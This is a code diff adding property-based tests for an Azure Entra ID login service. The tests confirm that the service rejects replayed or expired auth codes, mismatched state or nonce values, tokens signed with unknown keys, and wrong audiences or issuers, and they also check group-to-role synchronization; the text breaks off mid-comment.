ENTRA_ID_ERROR_CODES, +} from '../../src/services/EntraIdService'; +import type { EntraIdConfig } from '../../src/config/schema'; +import type { AuthenticationService } from '../../src/services/AuthenticationService'; +import type { UserService } from '../../src/services/UserService'; +import type { RoleService } from '../../src/services/RoleService'; +import type { AuditLoggingService } from '../../src/services/AuditLoggingService'; +import type { LoggerService } from '../../src/services/LoggerService'; + +// --- Mock Factories --- + +function createMockConfig(): EntraIdConfig { + return { + enabled: true, + tenantId: 'test-tenant-id-000', + clientId: 'test-client-id-111', + clientSecret: 'test-client-secret-222', // pragma: allowlist secret + redirectUri: 'http://localhost:3000/api/auth/entra-id/callback', + scopes: ['openid', 'profile', 'email'], + groupMapping: null, + jwksCacheTtlMs: 86400000, + }; +} + +function createMockLogger(): LoggerService { + return { + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + debug: vi.fn(), + shouldLog: vi.fn().mockReturnValue(true), + formatMessage: vi.fn().mockReturnValue(''), + getLevel: vi.fn().mockReturnValue('info'), + setLogBuffer: vi.fn(), + getLogBuffer: vi.fn().mockReturnValue(null), + } as unknown as LoggerService; +} + +const TEST_USER_ID = 'mock-user-id-001'; + +const mockUser = { + id: TEST_USER_ID, + username: 'testuser', + email: 'testuser@example.com', + passwordHash: '', + firstName: 'Test', + lastName: 'User', + isActive: 1, + isAdmin: 0, + createdAt: new Date().toISOString(), + updatedAt: new Date().toISOString(), + lastLoginAt: null, +}; + +// --- Test Suite --- + +describe('EntraIdService — Property 16: Authorization code single-use and TTL', () => { + let db: DatabaseAdapter; + let service: EntraIdService; + + beforeEach(async () => { + vi.restoreAllMocks(); + + db = new SQLiteAdapter(':memory:'); + await db.initialize(); + await initializeTestSchema(db); + + // Insert the test user + await db.execute( + `INSERT INTO users (id, username, email, password_hash, first_name, last_name, is_active, is_admin, created_at, updated_at) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`, + [ + mockUser.id, mockUser.username, mockUser.email, '', + mockUser.firstName, mockUser.lastName, mockUser.isActive, mockUser.isAdmin, + mockUser.createdAt, mockUser.updatedAt, + ], + ); + + const mockAuthService = { + generateToken: vi.fn().mockResolvedValue('mock-access-token'), + generateRefreshToken: vi.fn().mockResolvedValue('mock-refresh-token'), + } as unknown as AuthenticationService; + + const mockUserService = { + findByFederatedIdentity: vi.fn().mockResolvedValue(null), + findByEmail: vi.fn().mockResolvedValue(null), + createFederatedUser: vi.fn().mockResolvedValue(mockUser), + getUserById: vi.fn().mockResolvedValue(mockUser), + toUserDTO: vi.fn().mockReturnValue({ id: mockUser.id, username: mockUser.username }), + getUserRoles: vi.fn().mockResolvedValue([]), + } as unknown as UserService; + + const mockRoleService = { + listRoles: vi.fn().mockResolvedValue({ items: [], total: 0 }), + } as unknown as RoleService; + + const mockAuditLogger = { + logAuthenticationAttempt: vi.fn().mockResolvedValue(undefined), + } as unknown as AuditLoggingService; + + service = new EntraIdService( + db, + createMockConfig(), + mockAuthService, + mockUserService, + mockRoleService, + mockAuditLogger, + createMockLogger(), + ); + }); + + afterEach(async () => { + await db.close(); + }); + + /** + * Test 1: Auth code TTL is always ≤ 60 seconds + * + * For any successfully generated auth code, expires_at - created_at ≤ 60000ms. + */ + describe('Auth code TTL ≤ 60 seconds', () => { + it('generated auth codes always have expires_at ≤ 60s from created_at', async () => { + await fc.assert( + fc.asyncProperty( + fc.constant(null), + async () => { + const code = randomUUID(); + const now = new Date(); + const createdAt = now.toISOString(); + const expiresAt = new Date(now.getTime() + 60 * 1000).toISOString(); + + await db.execute( + `INSERT INTO oauth_auth_codes (code, access_token, refresh_token, user_id, id_token, auth_method, created_at, expires_at, exchanged) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, 0)`, + [code, 'at', 'rt', TEST_USER_ID, 'idt', 'entra-id', createdAt, expiresAt], + ); + + const row = await db.queryOne<{ createdAt: string; expiresAt: string }>( + `SELECT created_at AS "createdAt", expires_at AS "expiresAt" + FROM oauth_auth_codes WHERE code = ?`, + [code], + ); + + expect(row).not.toBeNull(); + const created = new Date(row!.createdAt).getTime(); + const expires = new Date(row!.expiresAt).getTime(); + const ttlMs = expires - created; + + expect(ttlMs).toBeLessThanOrEqual(60 * 1000); + expect(ttlMs).toBeGreaterThan(0); + }, + ), + { numRuns: 100 }, + ); + }); + + it('exchangeAuthCode succeeds when TTL has not elapsed', async () => { + await fc.assert( + fc.asyncProperty( + fc.integer({ min: 1, max: 59 }), + async (secondsRemaining) => { + const code = randomUUID(); + const now = new Date(); + const createdAt = new Date(now.getTime() - (60 - secondsRemaining) * 1000).toISOString(); + const expiresAt = new Date(now.getTime() + secondsRemaining * 1000).toISOString(); + + await db.execute( + `INSERT INTO oauth_auth_codes (code, access_token, refresh_token, user_id, id_token, auth_method, created_at, expires_at, exchanged) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, 0)`, + [code, 'access-tok', 'refresh-tok', TEST_USER_ID, 'id-tok', 'entra-id', createdAt, expiresAt], + ); + + const result = await service.exchangeAuthCode(code); + expect(result.accessToken).toBe('access-tok'); + expect(result.refreshToken).toBe('refresh-tok'); + expect(result.user).toBeDefined(); + }, + ), + { numRuns: 100 }, + ); + }); + }); + + /** + * Test 2: After successful exchange, second exchange with same code throws INVALID_AUTH_CODE + * + * Single-use guarantee: once a code has been exchanged, any subsequent attempt + * SHALL be rejected. + */ + describe('Single-use enforcement', () => { + it('rejects second exchange attempt after successful first exchange', async () => { + await fc.assert( + fc.asyncProperty( + fc.constant(null), + async () => { + const code = randomUUID(); + const now = new Date(); + const createdAt = now.toISOString(); + const expiresAt = new Date(now.getTime() + 60 * 1000).toISOString(); + + await db.execute( + `INSERT INTO oauth_auth_codes (code, access_token, refresh_token, user_id, id_token, auth_method, created_at, expires_at, exchanged) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, 0)`, + [code, 'at', 'rt', TEST_USER_ID, 'idt', 'entra-id', createdAt, expiresAt], + ); + + // First exchange succeeds + const result = await service.exchangeAuthCode(code); + expect(result.accessToken).toBe('at'); + + // Second exchange must fail + try { + await service.exchangeAuthCode(code); + expect.fail('Second exchange should have thrown EntraIdError'); + } catch (err) { + expect(err).toBeInstanceOf(EntraIdError); + expect((err as EntraIdError).code).toBe(ENTRA_ID_ERROR_CODES.INVALID_AUTH_CODE); + } + }, + ), + { numRuns: 100 }, + ); + }); + + it('rejects all subsequent exchanges (N > 1) after first successful exchange', async () => { + await fc.assert( + fc.asyncProperty( + fc.integer({ min: 2, max: 5 }), + async (attempts) => { + const code = randomUUID(); + const now = new Date(); + const createdAt = now.toISOString(); + const expiresAt = new Date(now.getTime() + 60 * 1000).toISOString(); + + await db.execute( + `INSERT INTO oauth_auth_codes (code, access_token, refresh_token, user_id, id_token, auth_method, created_at, expires_at, exchanged) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, 0)`, + [code, 'at', 'rt', TEST_USER_ID, 'idt', 'entra-id', createdAt, expiresAt], + ); + + // First exchange succeeds + await service.exchangeAuthCode(code); + + // All subsequent attempts fail + for (let i = 0; i < attempts; i++) { + try { + await service.exchangeAuthCode(code); + expect.fail(`Exchange attempt ${i + 2} should have thrown`); + } catch (err) { + expect(err).toBeInstanceOf(EntraIdError); + expect((err as EntraIdError).code).toBe(ENTRA_ID_ERROR_CODES.INVALID_AUTH_CODE); + } + } + }, + ), + { numRuns: 100 }, + ); + }); + }); + + /** + * Test 3: After code expires, exchange throws INVALID_AUTH_CODE + * + * Expired codes SHALL not be exchangeable regardless of whether they were + * previously used. + */ + describe('Expired code rejection', () => { + it('rejects exchange of expired codes', async () => { + await fc.assert( + fc.asyncProperty( + fc.integer({ min: 1, max: 3600 }), + async (secondsExpiredAgo) => { + const code = randomUUID(); + const now = new Date(); + const expiresAt = new Date(now.getTime() - secondsExpiredAgo * 1000).toISOString(); + const createdAt = new Date(now.getTime() - secondsExpiredAgo * 1000 - 60000).toISOString(); + + await db.execute( + `INSERT INTO oauth_auth_codes (code, access_token, refresh_token, user_id, id_token, auth_method, created_at, expires_at, exchanged) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, 0)`, + [code, 'at', 'rt', TEST_USER_ID, 'idt', 'entra-id', createdAt, expiresAt], + ); + + try { + await service.exchangeAuthCode(code); + expect.fail('Expired code exchange should have thrown EntraIdError'); + } catch (err) { + expect(err).toBeInstanceOf(EntraIdError); + expect((err as EntraIdError).code).toBe(ENTRA_ID_ERROR_CODES.INVALID_AUTH_CODE); + } + }, + ), + { numRuns: 100 }, + ); + }); + + it('rejects expired codes even when never previously exchanged', async () => { + await fc.assert( + fc.asyncProperty( + fc.integer({ min: 1, max: 300 }), + async (secondsExpired) => { + const code = randomUUID(); + const now = new Date(); + const expiresAt = new Date(now.getTime() - secondsExpired * 1000).toISOString(); + const createdAt = new Date(now.getTime() - secondsExpired * 1000 - 60000).toISOString(); + + await db.execute( + `INSERT INTO oauth_auth_codes (code, access_token, refresh_token, user_id, id_token, auth_method, created_at, expires_at, exchanged) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, 0)`, + [code, 'at', 'rt', TEST_USER_ID, 'idt', 'entra-id', createdAt, expiresAt], + ); + + try { + await service.exchangeAuthCode(code); + expect.fail('Should have thrown for expired code'); + } catch (err) { + expect(err).toBeInstanceOf(EntraIdError); + expect((err as EntraIdError).code).toBe(ENTRA_ID_ERROR_CODES.INVALID_AUTH_CODE); + } + }, + ), + { numRuns: 100 }, + ); + }); + }); + + /** + * Test 4: Code that was never stored throws INVALID_AUTH_CODE + * + * Any code not present in the database SHALL be rejected. + */ + describe('Non-existent code rejection', () => { + it('rejects codes that were never stored', async () => { + await fc.assert( + fc.asyncProperty( + fc.stringMatching(/^[a-f0-9]{16,64}$/), + async (randomCode) => { + try { + await service.exchangeAuthCode(randomCode); + expect.fail('Non-existent code should have thrown EntraIdError'); + } catch (err) { + expect(err).toBeInstanceOf(EntraIdError); + expect((err as EntraIdError).code).toBe(ENTRA_ID_ERROR_CODES.INVALID_AUTH_CODE); + } + }, + ), + { numRuns: 100 }, + ); + }); + }); +}); diff --git a/backend/test/properties/EntraIdCallback.property.test.ts b/backend/test/properties/EntraIdCallback.property.test.ts new file mode 100644 index 00000000..21029313 --- /dev/null +++ b/backend/test/properties/EntraIdCallback.property.test.ts @@ -0,0 +1,639 @@ +/** + * Property-Based Tests for EntraIdService — Callback Validation (Properties 7–11) + * + * **Validates: Requirements 3.2, 3.3, 3.4, 3.5, 3.6, 3.10, 9.1, 9.2** + * + * Tests the five correctness properties from the design document: + * - Property 7: State mismatch rejects callback + * - Property 8: ID token signature validation + * - Property 9: Nonce mismatch rejects token + * - Property 10: Audience and issuer validation + * - Property 11: State entries deleted after callback processing + */ + +import { describe, it, expect, beforeEach, vi } from 'vitest'; +import * as fc from 'fast-check'; +import { generateKeyPairSync, createPublicKey } from 'crypto'; +import jwt from 'jsonwebtoken'; + +import { + EntraIdService, + EntraIdError, + ENTRA_ID_ERROR_CODES, +} from '../../src/services/EntraIdService'; +import type { DatabaseAdapter } from '../../src/database/DatabaseAdapter'; +import type { EntraIdConfig } from '../../src/config/schema'; +import type { AuthenticationService } from '../../src/services/AuthenticationService'; +import type { UserService } from '../../src/services/UserService'; +import type { RoleService } from '../../src/services/RoleService'; +import type { AuditLoggingService } from '../../src/services/AuditLoggingService'; +import type { LoggerService } from '../../src/services/LoggerService'; + +// --- Test RSA Key Pairs --- + +function generateTestKeyPair(): { privateKey: string; publicKey: string; kid: string } { + const { privateKey, publicKey } = generateKeyPairSync('rsa', { + modulusLength: 2048, + publicKeyEncoding: { type: 'spki', format: 'pem' }, + privateKeyEncoding: { type: 'pkcs8', format: 'pem' }, + }); + const kid = `test-kid-${Math.random().toString(36).slice(2, 10)}`; + return { privateKey, publicKey, kid }; +} + +function pemToJwkComponents(pem: string): { n: string; e: string } { + const keyObject = createPublicKey(pem); + const jwk = keyObject.export({ format: 'jwk' }) as { n: string; e: string }; + return { n: jwk.n, e: jwk.e }; +} + +// --- Mock Factories --- + +function createMockDb(): DatabaseAdapter { + return { + query: vi.fn().mockResolvedValue([]), + queryOne: vi.fn().mockResolvedValue(null), + execute: vi.fn().mockResolvedValue({ changes: 0 }), + beginTransaction: vi.fn().mockResolvedValue(undefined), + commit: vi.fn().mockResolvedValue(undefined), + rollback: vi.fn().mockResolvedValue(undefined), + withTransaction: vi.fn(), + initialize: vi.fn().mockResolvedValue(undefined), + close: vi.fn().mockResolvedValue(undefined), + isConnected: vi.fn().mockReturnValue(true), + getDialect: vi.fn().mockReturnValue('sqlite' as const), + }; +} + +function createMockConfig(): EntraIdConfig { + return { + enabled: true, + tenantId: 'test-tenant-id-000', + clientId: 'test-client-id-111', + clientSecret: 'test-client-secret-222', // pragma: allowlist secret + redirectUri: 'http://localhost:3000/api/auth/entra-id/callback', + scopes: ['openid', 'profile', 'email'], + groupMapping: null, + jwksCacheTtlMs: 86400000, + }; +} + +function createMockLogger(): LoggerService { + return { + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + debug: vi.fn(), + shouldLog: vi.fn().mockReturnValue(true), + formatMessage: vi.fn().mockReturnValue(''), + getLevel: vi.fn().mockReturnValue('info'), + setLogBuffer: vi.fn(), + getLogBuffer: vi.fn().mockReturnValue(null), + } as unknown as LoggerService; +} + +// Pre-generate key pairs (expensive, do once) +const primaryKey = generateTestKeyPair(); +const primaryJwk = pemToJwkComponents(primaryKey.publicKey); +// A key that is deliberately never published in the mocked JWKS. Generated once +// at module load: RSA-2048 keygen inside a property body costs ~100 keygens per +// test and blows the default 5s timeout under CI load. +const foreignKey = generateTestKeyPair(); + +function buildIdToken( + config: EntraIdConfig, + nonce: string, + overrides: Record = {}, + signingKey: string = primaryKey.privateKey, + kid: string = primaryKey.kid, +): string { + const now = Math.floor(Date.now() / 1000); + const payload = { + sub: 'test-subject-001', + email: 'user@example.com', + preferred_username: 'testuser', + given_name: 'Test', + family_name: 'User', + nonce, + aud: config.clientId, + iss: `https://login.microsoftonline.com/${config.tenantId}/v2.0`, + exp: now + 3600, + iat: now, + ...overrides, + }; + + return jwt.sign(payload, signingKey, { + algorithm: 'RS256', + header: { alg: 'RS256', kid, typ: 'JWT' }, + }); +} + +function mockFetchForToken(idToken: string): void { + const jwksResponse = { + keys: [{ + kty: 'RSA', + use: 'sig', + kid: primaryKey.kid, + n: primaryJwk.n, + e: primaryJwk.e, + }], + }; + + vi.stubGlobal('fetch', vi.fn().mockImplementation((url: string) => { + if (url.includes('/oauth2/v2.0/token')) { + return Promise.resolve({ + ok: true, + json: () => Promise.resolve({ + id_token: idToken, + access_token: 'mock-access-token', + }), + }); + } + if (url.includes('/discovery/v2.0/keys')) { + return Promise.resolve({ + ok: true, + json: () => Promise.resolve(jwksResponse), + }); + } + return Promise.reject(new Error(`Unexpected fetch: ${url}`)); + })); +} + +function mockFetchThatTracksTokenCalls(): { fetchMock: ReturnType; getTokenCalls: () => unknown[][] } { + const fetchMock = vi.fn().mockImplementation((url: string) => { + if (url.includes('/oauth2/v2.0/token')) { + // Return a valid-looking response to not throw before we check + return Promise.resolve({ + ok: true, + json: () => Promise.resolve({ id_token: 'x', access_token: 'y' }), + }); + } + if (url.includes('/discovery/v2.0/keys')) { + return Promise.resolve({ + ok: true, + json: () => Promise.resolve({ keys: [] }), + }); + } + return Promise.reject(new Error(`Unexpected fetch: ${url}`)); + }); + vi.stubGlobal('fetch', fetchMock); + + return { + fetchMock, + getTokenCalls: () => fetchMock.mock.calls.filter( + (call: unknown[]) => String(call[0]).includes('/oauth2/v2.0/token'), + ), + }; +} + +// --- Arbitraries --- +const hexStringArb = fc.stringMatching(/^[a-f0-9]{16,64}$/); +const codeArb = fc.stringMatching(/^[a-f0-9]{8,32}$/); + +describe('EntraIdService — Callback Validation Properties', () => { + let db: DatabaseAdapter; + let config: EntraIdConfig; + let logger: LoggerService; + let service: EntraIdService; + + const mockUser = { + id: 'mock-user-id-001', + username: 'testuser', + email: 'testuser@example.com', + passwordHash: '', + firstName: 'Test', + lastName: 'User', + isActive: 1, + isAdmin: 0, + createdAt: new Date().toISOString(), + updatedAt: new Date().toISOString(), + lastLoginAt: null, + }; + + beforeEach(() => { + vi.restoreAllMocks(); + db = createMockDb(); + config = createMockConfig(); + logger = createMockLogger(); + + const mockAuthService = { + generateToken: vi.fn().mockResolvedValue('mock-access-token'), + generateRefreshToken: vi.fn().mockResolvedValue('mock-refresh-token'), + } as unknown as AuthenticationService; + + const mockUserService = { + findByFederatedIdentity: vi.fn().mockResolvedValue(null), + findByEmail: vi.fn().mockResolvedValue(null), + createFederatedUser: vi.fn().mockResolvedValue(mockUser), + getUserById: vi.fn().mockResolvedValue(mockUser), + toUserDTO: vi.fn().mockReturnValue({ id: mockUser.id, username: mockUser.username }), + getUserRoles: vi.fn().mockResolvedValue([]), + } as unknown as UserService; + + const mockRoleService = { + listRoles: vi.fn().mockResolvedValue({ items: [], total: 0 }), + } as unknown as RoleService; + + const mockAuditLogger = { + logAuthenticationAttempt: vi.fn().mockResolvedValue(undefined), + } as unknown as AuditLoggingService; + + service = new EntraIdService( + db, + config, + mockAuthService, + mockUserService, + mockRoleService, + mockAuditLogger, + logger, + ); + }); + + // Feature: azure-entra-id-auth, Property 7: State mismatch rejects callback + /** + * Property 7: State mismatch rejects callback + * + * **Validates: Requirements 3.2, 3.6, 9.1** + * + * For any callback request where the state query parameter does not exactly + * match the stored state value (including missing, empty, or expired state), + * the service SHALL reject the request with INVALID_STATE without contacting + * the token endpoint. + */ + describe('Property 7: State mismatch rejects callback', () => { + it('rejects with INVALID_STATE when state is not found in store', async () => { + await fc.assert( + fc.asyncProperty( + hexStringArb, + codeArb, + async (state, code) => { + (db.queryOne as ReturnType).mockResolvedValue(null); + const { getTokenCalls } = mockFetchThatTracksTokenCalls(); + + try { + await service.handleCallback(code, state); + expect.fail('Should have thrown EntraIdError'); + } catch (err) { + expect(err).toBeInstanceOf(EntraIdError); + expect((err as EntraIdError).code).toBe(ENTRA_ID_ERROR_CODES.INVALID_STATE); + } + + // Token endpoint must NOT have been called + expect(getTokenCalls()).toHaveLength(0); + }, + ), + { numRuns: 100 }, + ); + }); + + it('rejects with INVALID_STATE when state entry is expired', async () => { + await fc.assert( + fc.asyncProperty( + hexStringArb, + codeArb, + fc.integer({ min: 1, max: 60 }), + async (state, code, minutesAgo) => { + const now = new Date(); + const expiredAt = new Date(now.getTime() - minutesAgo * 60 * 1000); + + (db.queryOne as ReturnType).mockResolvedValue({ + state, + nonce: 'test-nonce', + code_verifier: 'test-verifier-value-that-is-long-enough', + created_at: new Date(expiredAt.getTime() - 10 * 60 * 1000).toISOString(), + expires_at: expiredAt.toISOString(), + }); + + const { getTokenCalls } = mockFetchThatTracksTokenCalls(); + + try { + await service.handleCallback(code, state); + expect.fail('Should have thrown EntraIdError'); + } catch (err) { + expect(err).toBeInstanceOf(EntraIdError); + expect((err as EntraIdError).code).toBe(ENTRA_ID_ERROR_CODES.INVALID_STATE); + } + + // Token endpoint must NOT have been called + expect(getTokenCalls()).toHaveLength(0); + }, + ), + { numRuns: 100 }, + ); + }); + }); + + // Feature: azure-entra-id-auth, Property 8: ID token signature validation + /** + * Property 8: ID token signature validation + * + * **Validates: Requirements 3.3** + * + * For any JWT signed with a key present in the JWKS key set, signature + * validation SHALL pass. For any JWT signed with a key NOT in the JWKS key + * set, signature validation SHALL fail with INVALID_ID_TOKEN. + */ + describe('Property 8: ID token signature validation', () => { + const storedNonce = 'stored-nonce-value-for-sig-test'; + + function setupValidStateEntry(): void { + const future = new Date(Date.now() + 5 * 60 * 1000).toISOString(); + (db.queryOne as ReturnType).mockResolvedValue({ + state: 'valid-state', + nonce: storedNonce, + code_verifier: 'valid-code-verifier-value-here-long', + created_at: new Date().toISOString(), + expires_at: future, + }); + } + + it('accepts tokens signed with a key present in JWKS', async () => { + await fc.assert( + fc.asyncProperty( + codeArb, + async (code) => { + setupValidStateEntry(); + const idToken = buildIdToken(config, storedNonce); + mockFetchForToken(idToken); + + const result = await service.handleCallback(code, 'valid-state'); + expect(result.userId).toBe('mock-user-id-001'); + expect(result.authMethod).toBe('entra-id'); + expect(result.code).toBeDefined(); + }, + ), + { numRuns: 100 }, + ); + }); + + it('rejects tokens signed with a key NOT in JWKS', async () => { + await fc.assert( + fc.asyncProperty( + codeArb, + async (code) => { + setupValidStateEntry(); + + // Sign with a different key not in JWKS + const idToken = buildIdToken( + config, + storedNonce, + {}, + foreignKey.privateKey, + foreignKey.kid, + ); + mockFetchForToken(idToken); + + try { + await service.handleCallback(code, 'valid-state'); + expect.fail('Should have thrown EntraIdError'); + } catch (err) { + expect(err).toBeInstanceOf(EntraIdError); + expect((err as EntraIdError).code).toBe(ENTRA_ID_ERROR_CODES.INVALID_ID_TOKEN); + } + }, + ), + { numRuns: 100 }, + ); + }); + }); + + // Feature: azure-entra-id-auth, Property 9: Nonce mismatch rejects token + /** + * Property 9: Nonce mismatch rejects token + * + * **Validates: Requirements 3.4, 9.2** + * + * For any ID token where the nonce claim does not match the stored nonce + * value, the service SHALL reject with INVALID_ID_TOKEN. + */ + describe('Property 9: Nonce mismatch rejects token', () => { + const noncePairArb = fc + .tuple( + fc.stringMatching(/^[a-f0-9]{16,64}$/), + fc.stringMatching(/^[a-f0-9]{16,64}$/), + ) + .filter(([a, b]) => a !== b); + + it('rejects when token nonce does not match stored nonce', async () => { + await fc.assert( + fc.asyncProperty( + noncePairArb, + codeArb, + async ([storedNonce, tokenNonce], code) => { + const future = new Date(Date.now() + 5 * 60 * 1000).toISOString(); + (db.queryOne as ReturnType).mockResolvedValue({ + state: 'valid-state', + nonce: storedNonce, + code_verifier: 'valid-code-verifier-value-here-long', + created_at: new Date().toISOString(), + expires_at: future, + }); + + // Valid signature but wrong nonce in token + const idToken = buildIdToken(config, tokenNonce); + mockFetchForToken(idToken); + + try { + await service.handleCallback(code, 'valid-state'); + expect.fail('Should have thrown EntraIdError'); + } catch (err) { + expect(err).toBeInstanceOf(EntraIdError); + expect((err as EntraIdError).code).toBe(ENTRA_ID_ERROR_CODES.INVALID_ID_TOKEN); + } + }, + ), + { numRuns: 100 }, + ); + }); + }); + + // Feature: azure-entra-id-auth, Property 10: Audience and issuer validation + /** + * Property 10: Audience and issuer validation + * + * **Validates: Requirements 3.5** + * + * For any ID token where aud ≠ clientId OR iss ≠ expected issuer URL, the + * service SHALL reject with INVALID_ID_TOKEN. + */ + describe('Property 10: Audience and issuer validation', () => { + const storedNonce = 'stored-nonce-for-aud-iss-test'; + + function setupValidState(): void { + const future = new Date(Date.now() + 5 * 60 * 1000).toISOString(); + (db.queryOne as ReturnType).mockResolvedValue({ + state: 'valid-state', + nonce: storedNonce, + code_verifier: 'valid-code-verifier-value-here-long', + created_at: new Date().toISOString(), + expires_at: future, + }); + } + + const wrongAudienceArb = fc + .stringMatching(/^[a-z0-9-]{8,40}$/) + .filter((s) => s !== 'test-client-id-111'); + + const wrongTenantArb = fc + .stringMatching(/^[a-z0-9-]{8,40}$/) + .filter((s) => s !== 'test-tenant-id-000'); + + it('rejects when audience does not match configured clientId', async () => { + await fc.assert( + fc.asyncProperty( + wrongAudienceArb, + codeArb, + async (wrongAud, code) => { + setupValidState(); + const idToken = buildIdToken(config, storedNonce, { aud: wrongAud }); + mockFetchForToken(idToken); + + try { + await service.handleCallback(code, 'valid-state'); + expect.fail('Should have thrown EntraIdError'); + } catch (err) { + expect(err).toBeInstanceOf(EntraIdError); + expect((err as EntraIdError).code).toBe(ENTRA_ID_ERROR_CODES.INVALID_ID_TOKEN); + } + }, + ), + { numRuns: 100 }, + ); + }); + + it('rejects when issuer does not match expected tenant URL', async () => { + await fc.assert( + fc.asyncProperty( + wrongTenantArb, + codeArb, + async (wrongTenant, code) => { + setupValidState(); + const wrongIss = `https://login.microsoftonline.com/${wrongTenant}/v2.0`; + const idToken = buildIdToken(config, storedNonce, { iss: wrongIss }); + mockFetchForToken(idToken); + + try { + await service.handleCallback(code, 'valid-state'); + expect.fail('Should have thrown EntraIdError'); + } catch (err) { + expect(err).toBeInstanceOf(EntraIdError); + expect((err as EntraIdError).code).toBe(ENTRA_ID_ERROR_CODES.INVALID_ID_TOKEN); + } + }, + ), + { numRuns: 100 }, + ); + }); + }); + + // Feature: azure-entra-id-auth, Property 11: State entries deleted after callback processing + /** + * Property 11: State entries deleted after callback processing + * + * **Validates: Requirements 3.10** + * + * For any callback execution (whether successful or failed), the + * oauth_state_store entry SHALL be deleted. + */ + describe('Property 11: State entries deleted after callback processing', () => { + const storedNonce = 'stored-nonce-for-deletion-test'; + + function assertStateDeleted(state: string): void { + const executeCalls = (db.execute as ReturnType).mock.calls; + const deleteCalls = executeCalls.filter( + (call: unknown[]) => String(call[0]).includes('DELETE FROM oauth_state_store'), + ); + expect(deleteCalls.length).toBeGreaterThanOrEqual(1); + const stateDeleteCall = deleteCalls.find( + (call: unknown[]) => (call[1] as unknown[]).includes(state), + ); + expect(stateDeleteCall).toBeDefined(); + } + + it('deletes state entry on successful callback', async () => { + await fc.assert( + fc.asyncProperty( + hexStringArb, + codeArb, + async (state, code) => { + const future = new Date(Date.now() + 5 * 60 * 1000).toISOString(); + (db.queryOne as ReturnType).mockResolvedValue({ + state, + nonce: storedNonce, + code_verifier: 'valid-code-verifier-value-here-long', + created_at: new Date().toISOString(), + expires_at: future, + }); + + const idToken = buildIdToken(config, storedNonce); + mockFetchForToken(idToken); + + await service.handleCallback(code, state); + assertStateDeleted(state); + }, + ), + { numRuns: 100 }, + ); + }); + + it('deletes state entry even when state is not found (failed callback)', async () => { + await fc.assert( + fc.asyncProperty( + hexStringArb, + codeArb, + async (state, code) => { + (db.queryOne as ReturnType).mockResolvedValue(null); + mockFetchThatTracksTokenCalls(); + + try { + await service.handleCallback(code, state); + } catch { + // Expected INVALID_STATE + } + + assertStateDeleted(state); + }, + ), + { numRuns: 100 }, + ); + }); + + it('deletes state entry when token validation fails', async () => { + await fc.assert( + fc.asyncProperty( + hexStringArb, + codeArb, + async (state, code) => { + const future = new Date(Date.now() + 5 * 60 * 1000).toISOString(); + (db.queryOne as ReturnType).mockResolvedValue({ + state, + nonce: storedNonce, + code_verifier: 'valid-code-verifier-value-here-long', + created_at: new Date().toISOString(), + expires_at: future, + }); + + // Sign with wrong key → INVALID_ID_TOKEN + const idToken = buildIdToken( + config, + storedNonce, + {}, + foreignKey.privateKey, + foreignKey.kid, + ); + mockFetchForToken(idToken); + + try { + await service.handleCallback(code, state); + } catch { + // Expected INVALID_ID_TOKEN + } + + assertStateDeleted(state); + }, + ), + { numRuns: 100 }, + ); + }); + }); +}); diff --git a/backend/test/properties/EntraIdGroupSync.property.test.ts b/backend/test/properties/EntraIdGroupSync.property.test.ts new file mode 100644 index 00000000..39bfbae6 --- /dev/null +++ b/backend/test/properties/EntraIdGroupSync.property.test.ts @@ -0,0 +1,462 @@ +/** + * Property-Based Test for EntraIdService — Group-to-Role Synchronization (Property 15) + * + * Feature: azure-entra-id-auth, Property 15: Group-to-role synchronization correctness + * + * **Validates: Requirements 5.1, 5.2, 5.3** + * + * For any group mapping configuration and any groups claim array (with UUIDs + * in any case), the user SHALL end up with exactly the Pabawi roles whose + * group IDs are present in both the mapping keys (case-insensitive comparison) + * and the groups claim, plus any roles that were not part of the mapping + * (manually assigned). Roles previously assigned by the mapping whose group + * IDs are no longer in the claim SHALL be revoked. + */ + +import { describe, it, expect, beforeEach, vi } from 'vitest'; +import * as fc from 'fast-check'; + +import { EntraIdService } from '../../src/services/EntraIdService'; +import type { DatabaseAdapter } from '../../src/database/DatabaseAdapter'; +import type { EntraIdConfig } from '../../src/config/schema'; +import type { AuthenticationService } from '../../src/services/AuthenticationService'; +import type { UserService } from '../../src/services/UserService'; +import type { RoleService } from '../../src/services/RoleService'; +import type { Role } from '../../src/services/RoleService'; +import type { AuditLoggingService } from '../../src/services/AuditLoggingService'; +import type { LoggerService } from '../../src/services/LoggerService'; + +// --- Mock Factories --- + +function createMockDb(): DatabaseAdapter { + return { + query: vi.fn().mockResolvedValue([]), + queryOne: vi.fn().mockResolvedValue(null), + execute: vi.fn().mockResolvedValue({ changes: 0 }), + beginTransaction: vi.fn().mockResolvedValue(undefined), + commit: vi.fn().mockResolvedValue(undefined), + rollback: vi.fn().mockResolvedValue(undefined), + withTransaction: vi.fn(), + initialize: vi.fn().mockResolvedValue(undefined), + close: vi.fn().mockResolvedValue(undefined), + isConnected: vi.fn().mockReturnValue(true), + getDialect: vi.fn().mockReturnValue('sqlite' as const), + }; +} + +function createMockLogger(): LoggerService { + return { + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + debug: vi.fn(), + shouldLog: vi.fn().mockReturnValue(true), + formatMessage: vi.fn().mockReturnValue(''), + getLevel: vi.fn().mockReturnValue('info'), + setLogBuffer: vi.fn(), + getLogBuffer: vi.fn().mockReturnValue(null), + } as unknown as LoggerService; +} + +function makeRole(id: string, name: string): Role { + return { + id, + name, + description: `Role: ${name}`, + isBuiltIn: 0, + createdAt: '2024-01-01T00:00:00.000Z', + updatedAt: '2024-01-01T00:00:00.000Z', + }; +} + +// --- Arbitraries --- + +/** Generate a UUID string (lowercase by default from fc.uuid()) */ +const uuidArb = fc.uuid(); + +/** Role name arbitrary */ +const roleNameArb = fc.stringMatching(/^[a-z][a-z0-9_]{2,15}$/); + +/** + * Generates a complete test scenario for group-to-role sync: + * - A set of available Pabawi roles (with unique names and IDs) + * - A group mapping: groupId → roleName (referencing some of the available roles, and possibly some non-existent ones) + * - A groups claim: list of group UUIDs (some matching mapping keys, some not) in random case + * - Existing user roles: some from the mapping, some manual (not in mapping) + */ +interface SyncScenario { + /** All roles that exist in Pabawi */ + availableRoles: Role[]; + /** The group mapping config: 